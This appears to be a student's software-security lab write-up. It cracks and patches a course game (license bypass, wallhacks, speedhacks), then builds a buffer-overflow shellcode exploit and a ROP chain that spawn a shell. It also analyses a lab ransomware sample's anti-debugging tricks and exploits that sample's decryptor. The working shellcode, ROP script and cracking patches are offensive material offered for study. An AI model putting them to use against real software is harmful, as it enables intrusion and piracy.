Software Security

Contents

1 Game Labrys

1.1 Cracking

1.1.1 Keygen

i A valid license key would be `47ZAY-TCPAG-HOMNH-UAQDT-6732X`.

ii The source code for the license key generator is located inside blatt6/a1/keygen.py.

1.1.2 Patch

In order to make the program start without a license, we can change a few conditional instructions into unconditional. The program first tries to open the file license.key. We can change the jump instruction at `0x40500E` from

```
jnz short loc_405026  ; opcodes: 75 16
```

to

```
jz short loc_40508E  ; opcodes: 74 7E
```

thus jumping over and ignoring the `fgets()` and `fclose()` instructions. The next task is to ignore all license checks.

The first part of the license check examines if the 5th, 11th, 17th and 23rd character are a dash (`-`), as well as if the characters are an uppercase letter or a digit. We can jump over all of these checks by changing the jump instruction at `0x4050AA` from

```
jnb short loc_405128  ; opcodes: 73 7C
```

to

```
jb short loc_405128  ; opcodes: 72 7C
```

Finally, we can change all of the following conditional jumps (`jz/jnz`) at addresses `0x405115`, `0x40517E`, `0x4051B0`, `0x4051ED` and `0x40520D` from

```
jz short loc_40515C  ; opcodes: 74 05
jz short loc_405185  ; opcodes: 74 05
jz short loc_4051B7  ; opcodes: 74 05
jz short loc_4051F4  ; opcodes: 74 05
jnz short loc_405235  ; opcodes: 75 26
```

to unconditional jumps (`jmp`)

```
jmp short loc_40515C  ; (opcodes: EB 05)
jmp short loc_405185  ; (opcodes: EB 05)
jmp short loc_4051B7  ; (opcodes: EB 05)
jmp short loc_4051F4  ; (opcodes: EB 05)
jmp short loc_405235  ; (opcodes: EB 2B)
```

The patched file patch.labrys.64 can be found inside blatt6/a1.

1.2 Cheating

The patched file hack.labrys.64 without the license key checks and with the below hacks can be found inside blatt6/a1.

1.2.1 Wallhack

We can enable the wallhack by changing the method `collide()` for the classes `Object` and `House`. We can do this by changing the instruction

```
mov eax, 1  ; (opcodes: B8 01 00 00 00)
```

found in `Object` at address `0x40DF93` and in `House` at address `0x40B8FD` to

```
mov eax, 0  ; (opcodes: B8 00 00 00 00)
```

in each of these classes. But in order for everything to work correctly, we would need to do the same steps inside the method `isInside()` at addresses `0x41BA2F` and `0x41BBD7`. Also, we would need to change the instruction at address `0x41B917` from

```
xor eax, 1  ; (opcodes: 83 F0 01)
```

to

```
nop  ; (opcode: 90)
nop
nop
```

Furthermore, in order to be able to walk horizontally through the walls, we would need to change the method `collide()` in the class `Wall`. The instruction

```
jnb short loc_414273  ; (opcodes: 73 5C)
```

at address `0x414215` should be negated, i.e. changed to

```
jb short loc_414273  ; (opcodes: 72 5C)
```

By modifying all of these instructions, we will now be able to walk through almost everything.

1.2.2 Flyhack

We can enable the flyhack by changing the first conditional jump inside `save_state()` at address `0x41D4A5`

```
jz short loc_41D4B0  ; (opcodes: 74 09)
```

to multiple `nop` operations.

```
nop  ; (opcode: 90)
nop
```

This way, the code will always execute the `else` statement and enable flying (`this->flying = true`).

1.2.3 Speedhack

In order to enable the speedhack, we can once again change part of the `save_state()` function, i.e. change the second condition at address `0x41D4C8`

```
jz short loc_41D4DD  ; (opcodes: 74 13)
```

to multiple `nop` operations

```
nop  ; (opcode: 90)
nop
```

This way, the code will always execute the `else` statement and enable the speedhack (`this->moveSpeed = 0.7`).

1.3 Exploitation

1.3.1 Shellcode Injection

As written in the labyrinth file of level 5, the game has a vunlerability in the parsing process. By analyzing the source code in *Ghidra* and *IDA*, we can see that the function `getline()` has a buffer of length 512, but the number of bytes that it reads can be greater than that. Therefore, we can overflow the buffer and overwrite the return address on the stack that is needed to jump from `getline()` back to `Level::Level()`.

Because ASLR is enabled, we can exploit the vulnerability by using the *jmp2reg* attack, i.e. *jmp2rsp*. For this case, we need a `jmp rsp` instruction, which can be found inside the function `getline()` (`0x41FA0A`). But because its address ends in `0x0A`, we need to bypass the following check in `getline()`: `if (c == 10)`. We will therefore use the instruction just before `jmp rsp`, which is the instruction `jz short loc_41FA0C` (`0x41FA08`). Therefore, the `jz` instruction will evaluate to false and the `jmp rsp` instruction will get executed.

The following Python code is used for generating the `labyrinth` file:

```
offset = 584
jmp_rsp = b'\x08\xfa\x41\x00\x00\x00\x00\x00'
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53
↪  \x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload = b'a' * offset + jmp_rsp + shellcode

with open('labyrinth', 'wb') as fout:
    fout.write(payload)
```

1.3.2 Compiler Security

By using `checksec`, we can see that the *NX (No-eXecute)* option is enabled (see output below). This prevents the program to execute instructions that are located on the stack, which mitigates the attack we performed in 1.3.1.

Another option that can be enabled and that will make the attack in 1.3.1 more difficult to perform is *PIE (Position Independent Executable)*. This way, the address of our `jmp rsp` instruction in 1.3.1 will not be constant, thus making the vulnerability more difficult to exploit.

```
stud10@hp> checksec labrys.64
    ...
    NX:       NX disabled
    ...
stud10@hp> checksec labrys_rop.64
    ...
    NX:       NX enabled
    ...
```

1.3.3 Return Oriented Programming

Because *NX* is enabled, we can not perform the attack in 1.3.1 anymore. Instead of that, we can use multiple different (scattered) instructions that, when chained together can perform the exact function that we want (in our case, call `execve("/bin//sh")`). All of these different instructions are called gadgets and are part of the program itself.

By using *ropper*, we can find all of these gadgets. Even better, by executing *ropper -f labrys_rop.64 –chain execve*, *ropper* will create the whole ropchain for us. The following Python script was generated using *ropper* and was further modified by us (slightly):

```python
from struct import pack

p = lambda x : pack('Q', x)
rop = b''

# pop '/bin//sh' into rdx
rop += p(0x000000000042a9dc)  # pop rdx; adc eax, 0xc9900000; ret;
rop += b'/bin//sh'
# pop 0x250510 into rax
rop += p(0x000000000040d974)  # pop rax; ret;
rop += p(0x0000000000650510)
# mov '/bin//sh' at address 0x250510
rop += p(0x0000000000406ed3)  # mov qword ptr [rax], rdx; nop; pop rbp; ret;
rop += p(0xdeadbeefdeadbeef)  # not important: used for 'pop rbp'
# pop 0 into rdx
rop += p(0x000000000042a9dc)  # pop rdx; adc eax, 0xc9900000; ret;
rop += p(0x0000000000000000)
# pop 0x250518 into rax
rop += p(0x000000000040d974)  # pop rax; ret;
rop += p(0x0000000000650518)
# mov '\x00' at address 0x250510
rop += p(0x0000000000406ed3)  # mov qword ptr [rax], rdx; nop; pop rbp; ret;
rop += p(0xdeadbeefdeadbeef)  # not important: used for 'pop rbp'
# pop 0x250510 into rdi
rop += p(0x0000000000436be3)  # pop rdi; ret;
rop += p(0x0000000000650510)
# pop 0x250518 into rsi
rop += p(0x000000000041ba7e)  # pop rsi; ret;
rop += p(0x0000000000650518)
# pop 0x250518 into rdx
```

```
rop += p(0x000000000042a9dc)  # pop rdx; adc eax, 0xc9900000; ret;
rop += p(0x0000000000650518)
# pop 0x3b (59) into rax
rop += p(0x000000000040d974)  # pop rax; ret;
rop += p(0x000000000000003b)
# call execve with the arguments rdi, rsi and rdx
rop += p(0x00000000004053ac)  # syscall; ret;

# save the ropchain into a file named labyrinth
with open('labyrinth', 'wb') as fout:
    fout.write(b'a' * 584 + rop)
```

2 Malware Analysis

2.1 Anti-Reversing

2.1.1 String-Obfuscation

The strings are obfuscated by XOR-ing them with particular bytes. An example Python code would be:

```
def decrypt(s: str, p: str) -> str:
    r = [0] * len(s)

    for i in range(len(s)):
        x, y = i % len(s), i % len(p)
        ss = s[x] if type(s[x]) == int else ord(s[x])
        pp = p[y] if type(p[y]) == int else ord(p[y])

        r[i] = chr(ss ^ pp)

    return ''.join(r)
```

2.1.2 Obfuscation

Other techniques that the malware uses in order to make the static analysis harder are *Random Predicates*, *Junk Code*, *Function Merging*, etc.

2.2 Anti-Sandbox

All of the following anti-sandbox techniques can be patched by simply making them to always evaluate to false, i.e. by changing the instruction `mov cs:globalVar, 1` to `mov cs:globalVar, 0` in each function (addresses `0x40397C` and `0x403BFF`).

The malware uses two different methods for anti-sandboxing [1]:

1. Checking processor info and feature bits by executing the instruction `cpuid` with *rax = 1*. It then checks if the most significant bit of *rcx* is equal to 0 or 1 (0: physical machine; 1: virtual machine).

2. Checking for known MAC addresses, such as `00:05:69 (Vmware)`, `00:0C:29 (Vmware)`, `00:1C:14 (Vmware)`, `00:50:56 (Vmware)` and `08:00:27 (VirtualBox)`. It does this by iterating over all network interfaces (directories) inside /sys/class/net and obtaining their MAC addresses by reading the files /sys/class/net/<iface>/address for each network interface.

Note: The patched file antisandbox-2048 can be found inside blatt6/a2.

2.3 Anti-Debugging

All of the following anti-debugging techniques can be patched by simply making them to always evaluate to false, i.e. by changing the instruction `mov cs:globalVar, 1` to `mov cs:globalVar, 0` in each function (addresses `0x4033C7`, `0x40349A`, `0x403522`, `0x40355B` and `0x403608`). Furthermore, the first initialization in main (address `0x402BA2`), namely

```
mov [rbp+var_20], 0FFFFFAC7h  ; (opcodes: C7 45 E0 C7 FA FF FF)
```

should also be changed to

```
mov [rbp+var_20], 1267h  ; (opcodes: C7 45 E0 67 12 00 00)
```

in order to jump over the execution of the `raise(10)` function.

Note: The patched file antidebug-2048 can be found inside blatt6/a2.

2.3.1 Debugger Detection

1. The malware implements a check that examines if the bytes from `main()` to `main()+500` are modified. Normally, the hash value of all those bytes is `faf7cbce57fa99cc5c23c6ff19cbf3df`. So, even if one bytes changes, the hash will be different and the check will evaluate to true.

2. The malware uses `ptrace(PTRACE_TRACEME, 0, 0, 0)` in order to tell its parent process to attach to it. If the debugger is already tracing the malware by using `ptrace`, the `ptrace(PTRACE_TRACEME, 0, 0, 0)` command will return -1, thus informing the malware that it is already being traced.

3. The malware gets the command of the parent process by reading the content of /proc/<ppid>/cmdline, and then compares the command to see if it is equal to the keyword `gdb`.

4. The malware checks if there is a software breakpoint set on the first instruction of the `main()` function (because that is the place where most reverse engineers start disassembling). It does this by checking if the first opcode is equal to $0xCC$. If that is the case, the malware knows that it is being debugged.

5. When a process is traced in a debugger, the whole execution tends to be a bit slower. Therefore, the malware uses time functions in order to calculate if the whole execution from point A to point B in code takes more than 300 microseconds. If that is the case, the malware knows that it is being executed inside a debugger.

2.3.2 Additional Protection

The malware registers an exception handler, then forces an exception to occur, thereby transferring control to the exception handler. However, when a debugger is present, it will generally intercept the exception to allow user interaction. If the debugger allows passing the exception back to the program, then we will be able to continue tracing.

2.4 Loader and Packer

2.4.1 Level 1

The code is loaded from /tmp/mallib.so and the correct password is `This_is_not_the_password_you_are_looking_for`.

2.4.2 Mini Exploitation

The vulnerability gives us the ability to inject our own function by providing our own shared library inside /tmp called mallib.so, which will contain the function `unlock_files_so`. In this way, the malware will load and execute our own function.

2.4.3 Level 2

The Decryptor file is protected, i.e. packed with the UPX executable packer (http://upx.sf.net). We can unpack it by executing the command `upx -d Decryptor`. The correct password then yields `Hello_there__General_Kenobi`.

2.4.4 Level 3

The 3rd level is using the stack in order to conceal itself. It is also being encrypted by XOR-ing 1121 bytes with the password `This_is_not_the_password_you_are_looking_for`, which reveal the actual code that is than executed.

2.4.5 Exploitation

The Decryptor binary has the *NX (No-eXecute)* option disabled. And because we control the password that is passed to the XOR decryption operation, we can modify it in such a way, so that different instructions get executed instead of the actual ones.

We can do this by taking the first 27 of the 1121 bytes and XOR-ing them with our shellcode. That way, whenever the 3rd level is decrypted, it will execute our shellcode ($level \oplus shellcode \oplus level = shellcode$). The following Python example will generate the modified shellcode and save it inside a file named shellcode:

```
1 shell = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54
  ↪  \x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
2 level = b'\xa7\x67\x77\x89\x0a\x21\xfa\xba\x26\xe6\x09\xb7\x3c\xe1\x10\xbf\x38
  ↪  \xe8\x26\xab\x3f\xe6\x3f\xb4\x17\xf2\x2a'
3
4 with open('shellcode', 'wb') as fout:
5     fout.write(bytes(shell[i] ^ level[i] for i in range(len(shell))))
```

We can then execute the following command in order to get a shell:

```
./Decryptor ./ $(cat shellcode) "Hello_there__General_Kenobi" "I_haVE_thE_hiGH_GROUNd!"
```

2.5 Analysis

2.5.1 Behavior

The malware is made of three different components/files:

1. 2048 – This is the main component and almost everything happens here. It is responsible for encryption of the files, as well as making the analysis more difficult by implementing anti-reversing, anti-sandbox and anti-debugging techniques. This component also downloads the other two components.

2. mallib.so – This component is the link between *2048* and *Decryptor*, i.e. its function is called from inside *2048*, and it later executes the *Decryptor* binary by using the `system()` command. It also contains the 1st level, i.e. the first password check.

3. Decryptor – This component contains all functions that are needed in order to decrypt files. It also protects itself from static analysis by XOR-ing part of the code. This component is also packed by using the UPX executable packer, and both the 2nd and 3rd levels, i.e. the 2nd and 3rd password checks, are contained here.

The malware targets all files ending in on of the following extensions: `.doc`, `.xls`, `.docx`, `.xlsx` or `.pdf`.

2.5.2 Encryption

The malware uses both *RSA* and *AES-256-CBC*. It uses *AES-256-CBC* in order to encrypt the file contents, and *RSA* in order to encrypt the *AES-256-CBC* key, which is then prepended in the encrypted file. Furthermore, the malware appends the initialiation vector for *AES-256-CBC*, and after that, the encrypted file contents.

It is not possible to decrypt the files without the use of the *Decryptor* binary, because we don't know the private key. If we are somehow able to find the private key, we can decrypt the *AES-256-CBC* key with it and use the key in order to decrypt the file contents.

2.5.3 Data Leakage

The malware connects to the internet in order to download the files Decryptor and mallib.so. It does this by connecting to http://7h3-1337-h4ck3r.bplaced.net. To our knowledge, no data is being leaked to this or some other URL.

2.5.4 A Bad Game

Our colleagues' files are not immediatelly decrypted, because when we win the patched game, we get the following message

```
1 Wow, you won! Do not let your win go to waste.
2 Just send 20 Bitcoins to "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa" and you will
  ↪  receive the three passwords to unlock your files!
3 Do not close this window or you have to play again. Send your Bitcoins now!
```

as well as prompts to enter 3 different passwords.

Note: The patched game win-2048 can be found inside blatt5/a2 and requires us to create one block of value 8 in order to win.

2.5.5 Decryption

Our colleague was working on project `MineomonGo`. All of his decrypted files can be found inside blatt6/a2.

References

1. https://www.cyberbit.com/blog/endpoint-security/anti-vm-and-anti-sandbox-explained/